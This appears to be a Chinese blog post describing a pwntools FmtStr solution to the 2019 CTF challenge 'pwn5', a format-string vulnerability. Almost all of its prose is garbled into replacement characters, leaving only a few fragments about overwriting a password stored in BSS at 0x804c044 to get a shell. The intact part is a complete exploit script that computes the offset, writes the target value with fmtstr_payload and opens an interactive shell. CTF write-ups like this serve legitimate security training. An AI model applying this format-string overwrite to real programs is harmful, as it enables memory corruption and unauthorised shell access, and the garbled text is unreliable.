本文共 3075 字，大约阅读时间需要 10 分钟。

������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������pwntools������FmtStr���������������������������������������

���������

������������

������������������

������������������

���2019���5������pwn5���������

• ������������������������������������������passwd���������������������������������������������shell���������������������BSS������0x804c044������

• ������������������������������������������passwd������BSS���������������������������������shell���

• ���������������

  from pwn import *
  from elfutils import *
  # ���������������������������
  def exec_fmt(pad):
      p = process("./pwn_5")
      # ���������������������������
      p.send(pad)
      # ������������������������������������
      info = p.recv()
      return info
  # ������FmtStr������������
  fmt = FmtStr(exec_fmt)
  offset = fmt.offset
  print(f"offset => {offset}")
  # ���������������������offset������������
  p = process("./pwn_5")
  target = 0x804c044
  # ������������payload
  payload = fmtstr_payload(offset, {target: 1})
  p.send(payload)
  p.recvuntil("your passwd:")
  p.send("1")
  p.interactive()

������

���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������